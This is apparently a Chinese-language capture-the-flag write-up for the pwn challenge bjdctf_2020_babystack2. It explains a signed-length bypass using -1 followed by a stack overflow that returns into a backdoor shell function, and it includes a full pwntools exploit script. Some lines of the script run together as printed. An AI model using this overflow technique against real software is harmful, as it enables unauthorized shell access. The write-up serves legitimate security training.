bjdctf_2020_babystack2

使用checksec查看：

只开启了栈不可执行。

先放进IDA中分析：

__isoc99_scanf("%d", &nbytes);：用户输入第二次输入的长度。
read(0, &buf, (unsigned int)nbytes);：向变量buf内读取用户第一次输入长度大小的数据。

存在backdoor()：

直接getshell，调用即可。

题目思路

用-1绕过长度限制。
覆盖返回地址为backdoor()的地址。

步骤解析

无需

完整exp

from pwn import *#start
r = remote("node4.buuoj.cn",27324)
# r = process("../buu/bjdctf_2020_babystack2")
elf = ELF("../buu/bjdctf_2020_babystack2")#params
backdoor_addr = elf.symbols['backdoor']#attack
r.recv()
r.sendline(b"-1")
r.recv()
payload = b'M'*(0x10+8) + p64(backdoor_addr)
r.sendline(payload)r.interactive()

bjdctf_2020_babystack2相关推荐

[BUUCTF-pwn]——bjdctf_2020_babystack2
[BUUCTF-pwn]--bjdctf_2020_babystack2 题目地址: https://buuoj.cn/challenges#bjdctf_2020_babystack2 先check ...
BUUCTF(pwn)bjdctf_2020_babystack2
这是一道整形溢出的题目 from pwn import * p = remote("node3.buuoj.cn",28786) flag=0x400726 p.sendlinea ...
PWN-PRACTICE-BUUCTF-7
PWN-PRACTICE-BUUCTF-7 jarvisoj_fm ciscn_2019_s_3 SROP解法 ret2csu解法 bjdctf_2020_babystack2 [HarekazeCT ...
持续更新 BUUCTF——PWN（一）
文章目录前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
buuctf（pwn）
胖胖 pwn1_sctf_2016 ciscn_2019_n_11 补充movss /ucomiss jarvisoj_level0 ciscn_2019_c_1 babyrop [第五空间2019 ...

bjdctf_2020_babystack2

bjdctf_2020_babystack2

bjdctf_2020_babystack2相关推荐

最新文章

热门文章